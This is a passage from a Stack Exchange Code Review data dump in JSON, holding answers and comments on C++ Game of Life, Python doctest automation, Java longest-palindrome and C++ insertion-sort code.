"body": "<p>Two major suggestions:</p>\n\n<p>First, let's try speeding everything up by taking advantage of the nature of Conway's Game of Life and the way C++ handles pointers. When you evaluate Conway's Game of Life, it's a two part process. First you copy all of the entries into a new array, then you do your computation referring to that new array, and update the original one. This process takes \\$ O \\left( n^{2} \\right) \\$, and involves a major memory copy; for small sizes that shouldn't be a problem, at larger sizes, the cost incurred by the memory copy will become non trivial, so let's reformulate the design a little:</p>\n\n<p>Conway's Game of Life itself is an application of cellular automata, where the state G of the grid at time t is a function of of the state at a time t-1. More specifically, it would be of a form like this: <code>G(t)=R(G(t-1))</code> where <code>R()</code> is some rule function determining which cells live and which cells die. This direct dependence offers us an interesting solution to the memory copying conundrum--what if we store two grids, one to represent <code>G(t)</code> and one to represent <code>G(t-1)</code>? Then we can get away with reading <code>G(t-1)</code>, applying our rule and updating <code>G(t)</code>. This however brings us back to the first question--how do we update <code>G(t-1)</code> then? do we just copy <code>G(t)</code>'s memory? C++ offers us a more convenient approach actually, we can swap the pointers instead: as G(t) is fully described by <code>G(t-1)</code> if we simply swap the pointers for the two arrays, so the pointer for <code>G(t-1)</code> refers to <code>G(t)</code>'s memory region, and <code>G(t)</code> refers to <code>G(t-1)</code>'s memory region, then we can apply the update rule, update <code>G(t)</code> to be <code>G(t+1)</code>, overwriting the old memory used to store <code>G(t-1)</code>, which prevents us from needing to copy the grids ever, which will significantly speed up the simulation in case n>500 in my experience.</p>\n\n<p>The second comment is on code abstraction, cellular automata as a whole is a good place to explore this, because it's such a general field. It's not necessary to make your Conway's Game of Life code work, but it will make it easier if you come up with interesting variations you want to test. Right now you have the update rule, <code>R()</code> represented as a single function, <code>liveOrDie</code>, this can be re-factored into several smaller tasks however, which has the advantage of making the system more modular and easier to tweak. How then can we break down this rule into smaller, more modular components? Let us start by listing the actual procedure performed by the update function:</p>\n\n<ul>\n<li>Iterate over all of the cells and update them</li>\n<li>To update a cell, look up it's neighbors (in Conway's Game of Life we use the Moore neighborhood)</li>\n<li>Look at a cells neighbors and decide whether it will live or die (apply the rule to a cell)</li>\n<li>Update the contents of a cell according to it's rule</li>\n</ul>\n\n<p>This list of tasks lends itself to defining three separate functions</p>\n\n<ul>\n<li><code>void update(G(t),G(t-1))</code>, which will perform the updating itself</li>\n<li><code>int neighbors(G,x,y)</code>, which will return the number of neighbors of a cell indexed at <code>(x,y)</code></li>\n<li><code>bool rule(neighbors,lod,x,y)</code> which will look at a specific cell and decide whether it lives or dies (<code>lod</code> is the state of the cell, live or dead)</li>\n</ul>\n\n<p>The basic outline could then be something like this:</p>\n\n<pre><code>update(G(t),G(t-1)){\n for(x: 1..size)\n for(y: 1..size){\n G(t-1)[x+y*size] = rule(neighbors(G(t),x,y),G(t)[x+y*size],x,y)\n }\n swap = G(t-1)\n G(t-1) = G(t)\n G(t) = swap\n}\n</code></pre>\n\n<p>The advantage to this model is if you want to change the function of the rule, or the neighborhood, say apply periodic bounding, you can easily change only the definition related to that part of the code. Hope that helps.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:51:01.193",
"Id": "82652",
"Score": "20",
"body": "Welcome to Code Review! If only all new users were like you!! Keep reviewing and you'll quickly accumulate [*imaginary internet points* and privileges](http://codereview.stackexchange.com/help/privileges) - feel free to wander our [meta site](http://meta.codereview.stackexchange.com/) and to come say hi in [The 2nd Monitor](http://chat.stackexchange.com/rooms/8595/the-2nd-monitor)! Hope you stick around ;)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T19:42:21.170",
"Id": "82817",
"Score": "1",
"body": "Yeah this is a pretty good answer, the only thing I would really add is \"did you check the known solutions\"? This is an old and interesting problem in CS - there are many known ways to attack it."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T19:50:25.317",
"Id": "82818",
"Score": "12",
"body": "Note: the above invitation to stick around and wander the meta site and come say hi in the main chatroom, stands for everybody on this site! ;)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:42:49.390",
"Id": "47179",
"ParentId": "47167",
"Score": "56"
}
},
{
"body": "<blockquote>\n <p>Any idea's on how I can improve on it?</p>\n</blockquote>\n\n<p>The biggest improvement I can think of would be to avoid storing and processing the entire grid. Although there are <a href=\"http://en.wikipedia.org/wiki/Spacefiller\">exceptions</a>, generally Conway's game of life patterns have a lot of empty space. At present your program is spending a lot of time and memory on this empty space.</p>\n\n<p>I would recommend just storing the live cells, and calculating the next generation of live cells from this. For example, you could use an <a href=\"http://www.cplusplus.com/reference/unordered_set/unordered_set/\">unordered set</a> (which has O(1) access time) and just consider those cells which are either in the set or in an adjacent cell. No other cell will become alive in that generation, so you don't need to consider them.</p>\n\n<p>For large patterns you will find that this approach is considerably more efficient in both time and space requirements, and also you don't need to specify the grid size up front, which is useful for new patterns for which you don't yet know how they will grow.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T14:09:34.690",
"Id": "83184",
"Score": "0",
"body": "Considering just the live cells (using a set) is a good idea, but having it *ordered* in memory order will improve cache response."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T14:50:08.657",
"Id": "83195",
"Score": "0",
"body": "@Mark Lakata: Interesting. I recommended 'unordered_set' for its fast access, but if you use 'set' it will stay in order automatically. This will mean the cells are processed in order, but since they are being created and destroyed at arbitrary points, is sorted order unlikely to be memory order? Even if it is memory order, I can't guess whether the time taken to keep the cells in memory order will pay off. Let us know if you have a comparison."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-12-27T13:36:10.440",
"Id": "136251",
"Score": "0",
"body": "Don't forget that new cells can appear in empty space and that you will have to check living cells neighborhood for newborns."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T08:40:00.847",
"Id": "47214",
"ParentId": "47167",
"Score": "9"
}
},
{
"body": "<p>@Koradalien and others have captured the key points on overall structure, but I'd add a couple of local changes that might also be useful. [ I've left in the buffer copying etc.] \nEssentially: You can change a bunch of the conditionals into table look ups, and remove the end of line check in <code>Display</code> entirely by moving it to the outer loop.</p>\n\n<p>For <code>Display</code>:</p>\n\n<pre><code>void Display(bool grid[gridsize + 1][gridsize + 1])\n{\n const char* cellImage[2] = { \" \", \" *\" };\n for (int a = 1; a < gridsize; a++)\n {\n for (int b = 1; b < gridsize; b++)\n {\n std::cout << cellImage[grid[a][b]];\n }\n std::cout << std::endl;\n }\n}\n</code></pre>\n\n<p>Similarly, in live of die, (or in <code>rule</code>):</p>\n\n<pre><code>int count[2][3][3] =\n{\n {\n { 0, 0, 0 },\n { 0, 0, 0 },\n { 0, 0, 0 }\n },\n {\n { 1, 1, 1 },\n { 1, 0, 1 },\n { 1, 1, 1 },\n }\n};\nbool lives[9] = { 0, 0, 0, 1 }; // zero fills the rest.\n//Calculates Life or Death\nvoid liveOrDie(bool grid[gridsize + 1][gridsize + 1])\n{\n bool grid2[gridsize + 1][gridsize + 1] = {};\n CopyGrid(grid, grid2);\n for (int a = 1; a < gridsize; a++)\n {\n for (int b = 1; b < gridsize; b++)\n {\n int life = 0;\n for (int c = -1; c < 2; c++)\n {\n for (int d = -1; d < 2; d++)\n {\n life += count[grid2[a + c][b + d]][c + 1][d + 1];\n }\n }\n if (life != 2)\n grid[a][b] = lives[life];\n }\n }\n}\n</code></pre>\n\n<p>OK, some would say the <code>lives</code> array is overkill, but I put it here to demonstrate the technique.\nNote how you could tinker with the <code>count</code> array to get some easy changes to the rule.</p>\n\n<p>P.S. Full marks for having the grid data have the boundary build in to simplify the rule.</p>\n\n<p>Another thought on unrelated issues. The <code>system(\"CLR\");</code> is likely to cause flicker. For a console app, you are better just sending the cursor home. See <a href=\"https://stackoverflow.com/questions/2732292/setting-the-cursor-position-in-a-win32-console-application\">existing question</a></p>\n\n<p>This gives:</p>\n\n<pre><code>void gotoxy(int x, int y) \n{\n COORD pos = { x, y };\n HANDLE output = GetStdHandle(STD_OUTPUT_HANDLE);\n SetConsoleCursorPosition(output, pos);\n}\n\nvoid cursorHome()\n{\n gotoxy(0, 0);\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T04:32:49.390",
"Id": "47317",
"ParentId": "47167",
"Score": "3"
}
},
{
"body": "<p>This isn't a huge issue, but one thing I would do is define macros at the top named <code>ALIVE</code> and <code>DEAD</code> so that you can use these keywords rather than <code>true</code> and <code>false</code>. To me, this would make the code clearer.</p>\n\n<pre><code>#define ALIVE true\n#define DEAD false\n</code></pre>\n\n<p>In the <code>liveOrDie</code> function, I would also change the variable name <code>life</code> to the more descriptive <code>neighbors</code> or <code>parents</code>.</p>\n\n<pre><code>//Calculates Life or Death\nvoid liveOrDie(bool grid[gridsize+1][gridsize+1]){\n bool grid2[gridsize+1][gridsize+1] = {};\n CopyGrid(grid, grid2);\n for(int a = 1; a < gridsize; a++){\n for(int b = 1; b < gridsize; b++){\n int neighbors = 0;\n for(int c = -1; c < 2; c++){\n for(int d = -1; d < 2; d++){\n if(!(c == 0 && d == 0)){\n if(grid2[a+c][b+d]) {++neighbors;}\n }\n }\n }\n if(neighbors < 2) {grid[a][b] = DEAD;}\n else if(neighbors == 3) {grid[a][b] = ALIVE;}\n else if(neighbors > 3) {grid[a][b] = DEAD;}\n }\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T11:08:45.600",
"Id": "47343",
"ParentId": "47167",
"Score": "7"
}
}
] | {
"AcceptedAnswerId": "47179",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T18:35:14.217",
"Id": "47167",
"Score": "42",
"Tags": [
"c++",
"game-of-life"
],
"Title": "Conway's Game of Life in C++"
} | 47167 |
<p>I would like this to happen every time I run a program from the command line. Is my approach Pythonic? I'm interested to know whether there is any problem with readability or correctness. Any general advice on better ways of doing things or potential problems are also welcome.</p>
<p>Although the <code>main</code> function is just an example, I'm looking for a review of the rest of the code, which I intend to append to all my existing programs and is therefore not just example code. I have included the example main function here as I used this to observe the different behaviour when including a passing or failing doctest. If any doctest fails, this will be printed to stdout and the program will not run. If all doctests pass, there is no output from the testing and the program runs as normal.</p>
<pre><code>"""Auto doctest.
Code to run the doctests before the main code every time the code is run
from the command line. Uses assert so that running the code in optimised
mode will skip the testing.
"""
def main(arguments):
"""Perform the functions of the program.
Example doctest:
>>> 1 + 1
2
"""
print('The main function received the following arguments:')
print(arguments)
def _doctests_pass():
"""Return True if all doctests pass, otherwise False."""
import doctest
failure_count, test_count = doctest.testmod()
return failure_count == 0
if __name__ == '__main__':
assert _doctests_pass()
import sys
main(sys.argv)
</code></pre>
| [] | [
{
"body": "<p>Make it a habit to run <code>pyflakes</code> and the <code>pep8</code> tools on Python projects. <code>pep8</code> finds some style violations in this code:</p>\n\n<ul>\n<li>There should be two blank lines before global method declarations (<code>main</code> and <code>_doctests_pass</code> in your case)</li>\n<li>There shouldn't be trailing whitespace at the end of line 3 and 4.</li>\n</ul>\n\n<p>You can install <code>pyflakes</code> and <code>pep8</code> using <code>pip</code>. See also the <a href=\"http://legacy.python.org/dev/peps/pep-0008/\" rel=\"nofollow\">PEP8</a> documentation for more details on Python style.</p>\n\n<p>By the way, I think running unit tests is a job for a Continuous Integration system, not something to do every time you run the code. The point of testing is to run after every code change. You're going way further, but it's completely pointless. If the code hasn't changed, then the repeated tests are just wasting CPU cycles. I think it would be better to abandon this approach and leave this up to a Continuous Integration tool, where you could include other goodies easily like <code>pep8</code>, <code>pyflakes</code>, and others.</p>\n\n<p>If this is not a team project, then setting up a Continuous Integration system could be overkill. A good middle ground can be setting up a pre-commit hook with your version control system. That should be relatively easy to do, and ensure that all your committed code pass your tests.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:40:22.950",
"Id": "82650",
"Score": "1",
"body": "Thanks for this. I will avoid trailing whitespace from now on. I did actually have two blank lines between the global functions but it seemed a shame to have a scroll bar for just two lines so I took them down to just one blank line when I pasted the code into the question. I should have mentioned this (or not done it...). Now that you've brought these to my attention I might try and include `pyflakes` and `pep8` automatically on running too, to pick me up on it in future..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T20:55:49.773",
"Id": "82659",
"Score": "1",
"body": "I see your point - my approach doesn't make sense for a team. This is something I mainly intended for code I use myself, written alone. Since there isn't an integration step I want the tests to just look after themselves and alert me when they are not happy, rather than me having to ask them if they are happy. However, if the tests take longer than a second then running them when there are no changes to the code is going to get annoying. To avoid limiting the tests I might try to trigger the doctests only if the code has changed since last tested. I'll also read up on Continuous Integration..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T22:32:25.650",
"Id": "82665",
"Score": "1",
"body": "That last paragraph sounds like exactly what I want. I must admit my attempt to check the time last tested is getting a little unwieldy so I'll read up on pre-commit hooks rather than reinvent the wheel. Unfortunately I can't give you another upvote since it's part of the same answer... Thanks very much for your help."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T01:46:06.853",
"Id": "82683",
"Score": "2",
"body": "@githubphagocyte No worries, I can! :) There are other options if commit hooks are too late: make, grunt, and Infinitest for Eclipse (if it supports Python). Definitely don't punish use when you can test only when the code changes--even when it's just you (unless you're a masochist in which case a few well-placed calls to `sys.sleep` are in order)."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:29:23.687",
"Id": "47177",
"ParentId": "47170",
"Score": "10"
}
}
] | {
"AcceptedAnswerId": "47177",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T18:49:11.893",
"Id": "47170",
"Score": "10",
"Tags": [
"python",
"unit-testing",
"assertions"
],
"Title": "Automatically run doctest every time program is run"
} | 47170 |
<p>Please be brutal, and judge my code as if it was written at a top 3 tech company, straight out of college. (The method signature, and input parameter is given by the problem, so don't worry about that)</p>
<p>Worst case complexity: \$ O \left( n^2 \right) \$</p>
<p>Space complexity: \$ O \left( n \right) \$</p>
<p>Time it took me to solve this:<br>
6 minutes (I got it right the first shot, and passed all the test cases)</p>
<p>Problem:</p>
<blockquote>
<p>Given a string <code>S</code>, find the longest palindromic substring in <code>S</code>. You may
assume that the maximum length of <code>S</code> is 1000, and there exists one
unique longest palindromic substring.</p>
</blockquote>
<hr>
<pre><code> public String longestPalindrome(String s) {
String longestPalindrome = "";
for(int i = 0; i < s.length(); i++){
for(int j = s.length()-1; j >= 0 && j != i; j--){
if(isPalindrome(s.substring(i,j+1))){
if(s.substring(i, j+1).length()>longestPalindrome.length()){
longestPalindrome = s.substring(i, j+1);
return longestPalindrome;
}
}
}
}
return longestPalindrome;
}
public boolean isPalindrome(String s){
int end = s.length()-1;
for(int i=0; i<s.length()/2; i++){
if(s.charAt(i)!=s.charAt(end)){
return false;
}
end--;
}
return true;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T22:11:11.720",
"Id": "82663",
"Score": "0",
"body": "MathJax usage will always earn a +1 from me! :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:40:12.430",
"Id": "82752",
"Score": "0",
"body": "related: http://codegolf.stackexchange.com/q/16327/152. Just avoid any techniques you find there, and you will be fine."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-01-23T13:13:58.630",
"Id": "142042",
"Score": "0",
"body": "i think you should use char [] instead of performing operation in string. because String is internally having char array and its faster."
}
] | [
{
"body": "<h1>Complexity</h1>\n\n<p>Your answer is \\$O(n^3)\\$ and not \\$O(n^2)\\$. You have three levels of nested loops... two inside the <code>longestPalindrome()</code> method and another inside the <code>isPalindrome()</code>.</p>\n\n<p>Can this problem be solved with less complexity? I believe it is possible to do an \\$O(n^2)\\$ solution ... I'll have to think it through though.</p>\n\n<h1>Test-Cases</h1>\n\n<p>Your code may have passed the test cases, but I don't believe your code works every time... consider this:</p>\n\n<blockquote>\n<pre><code> if(s.substring(i, j+1).length()>longestPalindrome.length()){\n longestPalindrome = s.substring(i, j+1);\n return longestPalindrome;\n }\n</code></pre>\n</blockquote>\n\n<p>You return the first palindrome you find.... <code>longestPalindrome</code> starts off as the empty String (length 0), and you return the first value that is longer. Your code could simply be equally broken as:</p>\n\n<pre><code> if(s.substring(i, j+1).length() > 0){\n return s.substring(i, j+1);\n }\n</code></pre>\n\n<p>I don't know what the test cases are, but they need work.</p>\n\n<h1>Nit-picks</h1>\n\n<ul>\n<li>giving a variable the same name as a method is 'wrong'... : <code>longestPalindrome</code></li>\n<li><p>you calculate <code>s.substring(i, j+1)</code> three times in the following block:</p>\n\n<blockquote>\n<pre><code> if(isPalindrome(s.substring(i,j+1))){\n if(s.substring(i, j+1).length() > longestPalindrome.length()){\n longestPalindrome = s.substring(i, j+1);\n return longestPalindrome;\n }\n }\n</code></pre>\n</blockquote></li>\n</ul>\n\n<h1>Performance</h1>\n\n<p>Your loops could be trimmed down (a lot). These optimizations do not affect the complexity, but they do reduce the computational overhead:</p>\n\n<blockquote>\n<pre><code>for(int j = s.length()-1; j >= 0 && j != i; j--){\n</code></pre>\n</blockquote>\n\n<p>has redundant j-conditions. The <code>j >= 0</code> can be dropped since the j != 1 will be encountered first.</p>\n\n<p>Also, <code>j</code> is only ever used in a <code>+1</code> context. You may as well change the loop conditions to be:</p>\n\n<pre><code> for(int j = s.length(); j > i; j--){\n</code></pre>\n\n<p>and then replace all the <code>j + 1</code> references inside the loop with plain <code>j</code>.</p>\n\n<h1>Conclusion</h1>\n\n<p>I am not satisfied that this solution reliably finds the longest palindrome....</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T01:02:45.533",
"Id": "82678",
"Score": "0",
"body": "O(n2) is possible if you look for palindromes centered on i. That's `j != i`--not `1`. Though I don't know exactly why `j` is allowed to pass `i` to the left; it will check each substring twice unless I read it too quickly."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T03:30:11.413",
"Id": "82692",
"Score": "2",
"body": "`String.substring()` is also an O(_n_) operation starting with Java 7."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T03:45:33.243",
"Id": "82693",
"Score": "0",
"body": "@200_success Time for `Substring { String whole, int start, int length }`? ;) Was this chosen because the greater safety outweighted the diminishing cost of copying memory?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T03:55:27.327",
"Id": "82695",
"Score": "2",
"body": "@DavidHarkness When substrings share the memory of the parent string, the existence of a reference to any substring will prevent the entire parent string from being garbage-collected. It was decided that [allowing such memory leaks to be fixed was more important than O(1) `.substring()` performance](http://stackoverflow.com/a/16123681/1157100)."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T22:52:40.613",
"Id": "47183",
"ParentId": "47181",
"Score": "15"
}
},
{
"body": "<p>You have the same formatting inconsistencies I pointed out in a previous question. Take two more minutes to fix these before committing (submitting code). Feel free to use your editor's autoformat command for CR.</p>\n\n<p>Store reused expressions in aptly-named local variables. Not only do you avoid possibly-expensive recalculations but also improve code readability. @rolfl touched on this for the substrings, but it even applies to quick calls to <code>s.length()</code> which you use several times. </p>\n\n<p>As I mentioned in a comment, you can achieve O(<em>n</em><sup>2</sup>) by looking for palindromes centered on <code>i</code>. It's tricky because you must handle both odd- and even-length palindromes, but it will be faster.</p>\n\n<p>The loop terminus in <code>isPalindrome</code> should be <code>i < end</code>. And combine the two \"step\" expressions since they are logically related: <code>i++, end--</code>.</p>\n\n<p><strong>Edit</strong></p>\n\n<p>One often-overlooked advantage of extracting small one-time-use methods is that you get documented local variables for free.</p>\n\n<pre><code>public static final NONE = \"\";\n\npublic String longestPalindrome(String s) {\n String longest = NONE;\n for (int i = 0, len = s.length(); i < len; i++) {\n longest = longerOf(longest, \n longerOf(longestOddPalindrome(s, i, len), \n longestEvenPalindrome(s, i, len));\n }\n return longest;\n}\n\nprivate String longestOdd(String s, int center, int len) {\n return longestPalindrome(s, center, center, len);\n}\n\nprivate String longestEven(String s, int center, int len) {\n if (center < len - 1 && s.charAt(center) == s.charAt(center + 1) {\n return longestPalindrome(s, center, center + 1, len);\n }\n else {\n return NONE;\n }\n}\n\nprivate String longest(String s, int left, int right, int len) {\n do {\n left--;\n right++;\n } while (left >= 0 && right < len && s.charAt(left) == s.charAt(right));\n return s.substring(left + 1, right - left - 1);\n}\n\nprivate String longerOf(String left, String right) {\n return left.length() > right.length() ? left : right;\n}\n</code></pre>\n\n<p><strong>Refactor</strong></p>\n\n<p>If you return <code>NONE</code> if <code>left</code> or <code>right</code> start outside the bounds in <code>longest(String, int, int, int)</code>, <code>longestEven</code> becomes a one-liner like <code>longestOdd</code>, and both can be moved into the public method without much loss of clarity.</p>\n\n<pre><code>public String longestPalindrome(String s) {\n String longest = NONE;\n for (int i = 0, len = s.length(); i < len; i++) {\n longest = longerOf(longest, \n longerOf(longestPalindrome(s, i, i, len), \n longestPalindrome(s, i, i + 1, len));\n }\n return longest;\n}\n\nprivate String longest(String s, int left, int right, int len) {\n if (left < 0 || right >= len) {\n return NONE;\n }\n do ...\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:37:35.000",
"Id": "82769",
"Score": "1",
"body": "I think `longestOf(String ... vals)` would make things smoother. `longestOf(longest, longestOdd, longestEven)` is more readable."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T01:12:20.443",
"Id": "47191",
"ParentId": "47181",
"Score": "8"
}
},
{
"body": "<p>Your implementation doesn't pass some unit tests:</p>\n\n<pre><code>// actual: \"aba\"\nAssert.assertEquals(\"aaaa\", longestPalindrome(\"abaaaa\"));\n</code></pre>\n\n<hr>\n\n<p>In your <code>isPalindrome</code> method, I would drop the <code>end</code> variable, since the same thing can be derived from the length of the string anyway:</p>\n\n<pre><code>if (s.charAt(i) != s.charAt(s.length() - 1 - i)) {\n return false;\n}\n</code></pre>\n\n<p>Instead of having 2 counting variables that go in opposite directions (<code>i</code> and <code>end</code>), I think it's more robust to have just one.</p>\n\n<hr>\n\n<blockquote>\n <p>Time it took me to solve this:</p>\n \n <p>6 minutes (I got it right the first shot, and passed all the test cases)</p>\n</blockquote>\n\n<p>This is \"mostly\" irrelevant in terms of code review. \"Mostly\", because if somebody tells me this, I would ask them to double-check again carefully before I review something that was done in a hurry and might be rubbish. In particular I would ask first:</p>\n\n<ul>\n<li>Have you covered your solution with unit tests?</li>\n<li>Are you sure you covered all corner cases?</li>\n<li>Have you decomposed your solution to small logical units?</li>\n<li>Did you use your IDE to automatically format your code nicely?</li>\n</ul>\n\n<p>It's not very nice to ask anybody to review something you put together fast, without carefully checking these things first.</p>\n\n<p>And, if you make such statements in a submission for a job interview, you will probably come off as a show-off and not get the job. Cover your back with unit tests, do the best you can, and submit in a humble manner. If they want to know how fast you did it, they will ask.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T06:24:59.897",
"Id": "47205",
"ParentId": "47181",
"Score": "11"
}
},
{
"body": "<p>Most brutal comment to my disposal: <em>No raw loops</em>. Every loop does a particular job, and such job deserves a proper name. If it doesn't, the loop has no right to exist.\nMy solution (untested; looks for the length not the palindrome itself; hope you got an idea):</p>\n\n<pre><code>int growPalindromeOdd(String s, int i) {\n int delta = 0;\n while ((i - delta >= 0) && (i + delta) < s.length())\n if (s[i - delta] == s[i + delta])\n delta += 1;\n return 1 + delta*2;\n}\n\nint growPalindromeEven(String s, int i) {\n int delta = 0;\n while ((i - delta >= 0) && (i + 1 + delta) < s.length())\n if (s[i - delta] == s[i + 1 + delta])\n delta += 1;\n return delta * 2;\n}\n\nint findLongestPalindromeLength(String s) {\n int maxlength = 0;\n int i = 0;\n while (i < s.length()/2) {\n int no = growPalindromeOdd(s, i);\n if (no > maxlength) maxlength = no;\n int ne = growPalindromeEven(s, i);\n if (ne > maxlength) maxlength = ne;\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T17:30:04.687",
"Id": "83414",
"Score": "0",
"body": "Efficient parsing often requires having weird overlapping loops which can't necessarily be split up. I haven't worked out an efficient design for the palindrome searching in particular, but in many cases a loop will have to index over several things until a condition is met, and multiple indices' values will be relevant at that time. Since Java has neither `ref` parameters, nor an efficient means of returning multiple values, in many situations the only ways to make parsing efficient will be to define a class to hold multiple loosely-associated values and pass that to the function, or else..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T17:34:15.933",
"Id": "83415",
"Score": "0",
"body": "...put the parsing loops within the method that \"calls\" them. Personally, I think Java's `thread` class should have included a few general-purpose fields of type `long` and `object` which could be used to return multiple values. Using names like `currentThread.long1`, `currentThread.long2`, etc. would be icky, but still less clunky than creating aggregate data holders for the purpose."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T06:45:18.717",
"Id": "47206",
"ParentId": "47181",
"Score": "4"
}
},
{
"body": "<p>What's the longest palindrome in \"War and Peace\"? I bet it's not very long. But if you look for the longest palindrome in a book of just a million characters, you are checking about 500 billion substrings. </p>\n\n<p>Iterating over the characters that could be at the centre of palindromes, as others suggested, will work very well with your average text, like War and Peace. </p>\n\n<p>If someone specifically designs input to make this slow, they would create huge numbers of consecutive equal characters, like xaaaaaaaaaaaaax, or consecutive alternating characters, like xababababababababx, so that at almost every index we would find a very long palindrome. To handle this, split the text into sequences of identical characters or sequences of alternating characters. (And you must have at least two consecutive or three alternating characters in a row for a palindrome of two or three characters). So for example, when we find a sequence of 1,000,000 characters ababab...ab (but not a million and one) then we have a palindrome of length 999,999. If we find 1,000,001 characters abab...aba, then we already have a palindrome of length 1,000,001 which might be lengthened depending on the characters around it. We don't have to check for palindromes around each of these characters, because the longest palindrome will start in the middle of that sequence. Similar with a large number of consecutive identical letters, except both even and odd numbers work. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T12:31:08.623",
"Id": "47228",
"ParentId": "47181",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "47183",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T21:47:25.157",
"Id": "47181",
"Score": "17",
"Tags": [
"java",
"algorithm",
"interview-questions",
"palindrome"
],
"Title": "Longest palindrome in a string"
} | 47181 |
<p>From <a href="http://en.wikipedia.org/wiki/Insertion_sort">Wikipedia</a>:</p>
<blockquote>
<p>Insertion sort iterates, consuming one input element each repetition,
and growing a sorted output list. Each iteration, insertion sort
removes one element from the input data, finds the location it belongs
within the sorted list, and inserts it there. It repeats until no
input elements remain.</p>
<p>Sorting is typically done in-place, by iterating up the array, growing
the sorted list behind it. At each array-position, it checks the value
there against the largest value in the sorted list (which happens to
be next to it, in the previous array-position checked). If larger, it
leaves the element in place and moves to the next. If smaller, it
finds the correct position within the sorted list, shifts all the
larger values up to make a space, and inserts into that correct
position.</p>
</blockquote>
<p>Just tried out my solution in C++:</p>
<pre><code>#include <vector>
std::vector<int> ins_sort(std::vector<int> series)
{
for(int i=1; i<series.size(); i++)
{
int key = series[i];
for(int j=i-1; j>-1; j--)
{
if (key < series[j])
{
series[j+1] = series[j];
series[j] = key;
}
else break;
}
}
return series;
}
</code></pre>
| [] | [
{
"body": "<ul>\n<li><p>More whitespace here:</p>\n\n<blockquote>\n<pre><code>for(int j=i-1; j>-1; j--)\n</code></pre>\n</blockquote>\n\n<p>could help improve readability, especially when glancing at it:</p>\n\n<pre><code>for (int j = i - 1; j > -1; j--)\n</code></pre></li>\n<li><p>This line:</p>\n\n<blockquote>\n<pre><code>else break;\n</code></pre>\n</blockquote>\n\n<p>could use curly braces, at least to keep consistency:</p>\n\n<pre><code>else\n{\n break;\n}\n</code></pre></li>\n<li><p>For the loop counter type, <a href=\"https://stackoverflow.com/questions/1181079/stringsize-type-instead-of-int\">use <code>std::vector<int>::size_type</code> instead of <code>int</code></a>, particularly with <code>size()</code>. You cannot guarantee that an <code>int</code> will be large enough, especially if you're sorting a lot of elements. It's also preferred to use <code>std::size_type</code> with a storage container since they all utilize this type.</p>\n\n<p>For brevity, you can use <a href=\"http://en.cppreference.com/w/cpp/types/size_t\" rel=\"nofollow noreferrer\"><code>std::size_t</code></a> instead, as <a href=\"https://stackoverflow.com/questions/4849632/vectorintsize-type-in-c\"><code>std::size_type</code> is usually just a <code>typedef</code> of it</a>.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T23:04:54.817",
"Id": "47186",
"ParentId": "47184",
"Score": "12"
}
},
{
